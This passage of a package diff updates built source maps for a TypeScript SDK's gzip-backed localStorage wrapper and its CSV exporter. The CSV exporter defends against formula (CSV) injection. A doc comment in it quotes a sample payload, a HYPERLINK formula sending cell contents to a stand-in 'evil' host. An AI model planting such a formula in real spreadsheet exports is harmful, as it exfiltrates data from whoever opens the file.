uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n    const json = JSON.stringify(value);\n    const bytes = gzipSync(new TextEncoder().encode(json));\n    return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n    if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n    const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n    return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n    serialize: compressToString,\n    deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":"mFA4BA,IAAM,EAAS,SAiBf,SAAgB,EAAoB,EAAkB,CAClD,IAAM,EAAO,KAAK,UAAU,CAAK,EAC3B,GAAA,EAAQ,EAAA,SAAA,CAAS,IAAI,YAAY,CAAC,CAAC,OAAO,CAAI,CAAC,EACrD,MAAO,GAAG,IAAS,EAAA,cAAc,CAAK,GAC1C,CAcA,SAAgB,EAAwB,EAAgB,CACpD,GAAI,CAAC,EAAI,WAAW,CAAM,EAAG,OAAO,KAAK,MAAM,CAAG,EAClD,IAAM,GAAA,EAAQ,EAAA,WAAA,CAAW,EAAA,cAAc,EAAI,MAAM,CAAa,CAAC,CAAC,EAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAO,CAAK,CAAC,CACrD,CASA,IAAa,EAAuC,CAChD,UAAW,EACX,YAAa,CACjB,EAea,EAAiC,EAAA,kBAAkB,CAAsB"}
+{"version":3,"file":"compressed-storage.cjs","names":["gzipSync","bytesToBase64","gunzipSync","base64ToBytes","createJsonStorage","require_storage","require_base64","fflate","MARKER","compressToString","json","value","bytes","decompressFromString","raw","compressedStorageCodec","compressedStorage"],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n    const json = JSON.stringify(value);\n    const bytes = gzipSync(new TextEncoder().encode(json));\n    return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n    if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n    const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n    return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n    serialize: compressToString,\n    deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":"A,mFA4BA,IAAMQ,EAAS,SAiBf,SAAgBC,EAAoB,EAAkB,CAClD,IAAMC,EAAO,KAAK,UAAUC,CAAK,EAC3BC,GAAA,EAAQZ,EAAAA,SAAAA,CAAS,IAAI,YAAY,CAAC,CAAC,OAAOU,CAAI,CAAC,EACrD,MAAO,GAAGF,IAASP,EAAAA,cAAcW,CAAK,GAC1C,CAcA,SAAgBC,EAAwB,EAAgB,CACpD,GAAI,CAACC,EAAI,WAAWN,CAAM,EAAG,OAAO,KAAK,MAAMM,CAAG,EAClD,IAAMF,GAAA,EAAQV,EAAAA,WAAAA,CAAWC,EAAAA,cAAcW,EAAI,MAAM,CAAa,CAAC,CAAC,EAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAOF,CAAK,CAAC,CACrD,CASA,IAAaG,EAAuC,CAChD,UAAWN,EACX,YAAaI,CACjB,EAeaG,EAAiCZ,EAAAA,kBAAkBW,CAAsB,E"}

package/dist/utils/compressed-storage.js.map

@@ -1 +1 @@
-{"version":3,"file":"compressed-storage.js","names":[],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n    const json = JSON.stringify(value);\n    const bytes = gzipSync(new TextEncoder().encode(json));\n    return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n    if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n    const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n    return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n    serialize: compressToString,\n    deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":";;;;AA4BA,IAAM,IAAS;AAiBf,SAAgB,EAAoB,GAAkB;CAClD,IAAM,IAAO,KAAK,UAAU,CAAK,GAC3B,IAAQ,EAAS,IAAI,YAAY,CAAC,CAAC,OAAO,CAAI,CAAC;CACrD,OAAO,GAAG,IAAS,EAAc,CAAK;AAC1C;AAcA,SAAgB,EAAwB,GAAgB;CACpD,IAAI,CAAC,EAAI,WAAW,CAAM,GAAG,OAAO,KAAK,MAAM,CAAG;CAClD,IAAM,IAAQ,EAAW,EAAc,EAAI,MAAM,CAAa,CAAC,CAAC;CAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAO,CAAK,CAAC;AACrD;AASA,IAAa,IAAuC;CAChD,WAAW;CACX,aAAa;AACjB,GAea,IAAiC,EAAkB,CAAsB"}
+{"version":3,"file":"compressed-storage.js","names":["MARKER","compressToString","json","value","bytes","gzipSync","bytesToBase64","decompressFromString","raw","gunzipSync","base64ToBytes","compressedStorageCodec","compressedStorage","createJsonStorage"],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n    const json = JSON.stringify(value);\n    const bytes = gzipSync(new TextEncoder().encode(json));\n    return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n    if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n    const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n    return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n    serialize: compressToString,\n    deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":";;;;AA4BA,IAAMA,IAAS;AAiBf,SAAgBC,EAAoB,GAAkB;CAClD,IAAMC,IAAO,KAAK,UAAUC,CAAK,GAC3BC,IAAQC,EAAS,IAAI,YAAY,CAAC,CAAC,OAAOH,CAAI,CAAC;CACrD,OAAO,GAAGF,IAASM,EAAcF,CAAK;AAC1C;AAcA,SAAgBG,EAAwB,GAAgB;CACpD,IAAI,CAACC,EAAI,WAAWR,CAAM,GAAG,OAAO,KAAK,MAAMQ,CAAG;CAClD,IAAMJ,IAAQK,EAAWC,EAAcF,EAAI,MAAM,CAAa,CAAC,CAAC;CAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAOJ,CAAK,CAAC;AACrD;AASA,IAAaO,IAAuC;CAChD,WAAWV;CACX,aAAaM;AACjB,GAeaK,IAAiCC,EAAkBF,CAAsB"}

package/dist/utils/csv.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n    /** Property of the row this column reads from. Doubles as the column key. */\n    key: keyof T;\n    /** Column heading, written to the first line. */\n    header: string;\n    /**\n     * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n     * empty field.\n     *\n     * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n     * a text file — a badge or a link would serialize as `[object Object]`. Give\n     * the column this accessor and the export says what the badge said.\n     */\n    csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n    /**\n     * Field separator. Default `\",\"`.\n     *\n     * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n     * which is every pt-BR install — otherwise it opens the file in one column.\n     */\n    delimiter?: \",\" | \";\";\n    /** Prefix the output with a UTF-8 BOM. Default `true`. */\n    bom?: boolean;\n    /**\n     * Prefix `'` to every text field that a spreadsheet would read as a formula.\n     * Default `true`.\n     *\n     * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n     * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n     * `=`), and opening the file evaluates it: a name typed\n     * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n     * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n     * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n     * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n     * and because the app that exports rarely controls every value in it.\n     *\n     * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n     * (#481): a spreadsheet whose list separator is not the file's would otherwise\n     * split the bare field there and could start a cell with `=`. A quoted field is\n     * not split, so the quotes close that path without touching the text —\n     * `x;=1+2` is written `\"x;=1+2\"`.\n     *\n     * Numbers are never prefixed: a `number` cell, or a text field that is only a\n     * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n     * neither can a lone `\"-\"`, which is left alone too. Pass\n     * `false` when the file feeds another system's importer rather than a person's\n     * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n     * and line breaks decide the quoting.\n     */\n    neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n    if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n    return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n *   on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n    const mustQuote =\n        value.includes(delimiter) ||\n        (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n        value.includes('\"') ||\n        value.includes(\"\\n\") ||\n        value.includes(\"\\r\");\n    if (!mustQuote) return value;\n    return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n    if (value === null || value === undefined) return \"\";\n    if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n        return String(value);\n    }\n    if (value instanceof Date) return value.toISOString();\n    return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n *     { key: \"name\", header: \"Nome\" },\n *     { key: \"email\", header: \"E-mail\" },\n *     { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    options: CsvOptions = {},\n): string {\n    const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n    const lines = [\n        columns\n            .map((column) =>\n                escapeField(\n                    cellText(column.header, neutralizeFormulas),\n                    delimiter,\n                    neutralizeFormulas,\n                ),\n            )\n            .join(delimiter),\n    ];\n\n    for (const row of rows) {\n        const cells = columns.map((column) => {\n            const raw = column.csv\n                ? column.csv(row)\n                : (row as Record<string, unknown>)[column.key as string];\n            return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n        });\n        lines.push(cells.join(delimiter));\n    }\n\n    return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n *   {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    fileName = \"export.csv\",\n    options: CsvOptions = {},\n): Promise<void> {\n    const blob = new Blob([toCsv(rows, columns, options)], {\n        type: \"text/csv;charset=utf-8\",\n    });\n    await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IA4DN,EAAkB,eAQlB,EAAe,uDAyBrB,SAAS,EAAkB,EAAuB,CAE9C,OADI,IAAU,KAAO,EAAa,KAAK,CAAK,EAAU,EAC/C,EAAgB,KAAK,CAAK,EAAI,IAAI,IAAU,CACvD,CASA,IAAM,EAAkB,SAoBxB,SAAS,EAAY,EAAe,EAAmB,EAAkC,CAQrF,OANI,EAAM,SAAS,CAAS,GACvB,GAAmB,EAAgB,KAAK,CAAK,GAAK,CAAC,EAAa,KAAK,CAAK,GAC3E,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAiBA,SAAS,EAAS,EAAgB,EAA6B,CAM3D,OALI,GAAU,KAAoC,GAC9C,OAAO,GAAU,UAAY,OAAO,GAAU,UAAY,OAAO,GAAU,UACpE,OAAO,CAAK,EAEnB,aAAiB,KAAa,EAAM,YAAY,EAC7C,EAAa,EAAkB,OAAO,CAAK,CAAC,EAAI,OAAO,CAAK,CACvE,CAwBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAAS,EAE7D,EAAQ,CACV,EACK,IAAK,GACF,EACI,EAAS,EAAO,OAAQ,CAAkB,EAC1C,EACA,CACJ,CACJ,CAAC,CACA,KAAK,CAAS,CACvB,EAEA,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,KACb,CAAkB,EAAG,EAAW,CAAkB,CACtF,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsB,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
+{"version":3,"file":"csv.cjs","names":["shareOrDownloadBlob","require_share_or_download","BOM","FORMULA_TRIGGER","PLAIN_NUMBER","neutralizeFormula","value","LIST_SEPARATORS","escapeField","delimiter","guardSeparators","cellText","neutralize","toCsv","options","lines","columns","column","neutralizeFormulas","row","rows","cells","bom","downloadCsv","blob","fileName"],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n    /** Property of the row this column reads from. Doubles as the column key. */\n    key: keyof T;\n    /** Column heading, written to the first line. */\n    header: string;\n    /**\n     * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n     * empty field.\n     *\n     * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n     * a text file — a badge or a link would serialize as `[object Object]`. Give\n     * the column this accessor and the export says what the badge said.\n     */\n    csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n    /**\n     * Field separator. Default `\",\"`.\n     *\n     * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n     * which is every pt-BR install — otherwise it opens the file in one column.\n     */\n    delimiter?: \",\" | \";\";\n    /** Prefix the output with a UTF-8 BOM. Default `true`. */\n    bom?: boolean;\n    /**\n     * Prefix `'` to every text field that a spreadsheet would read as a formula.\n     * Default `true`.\n     *\n     * A field starting with `=`, `+`, `-`, `@`, TAB or 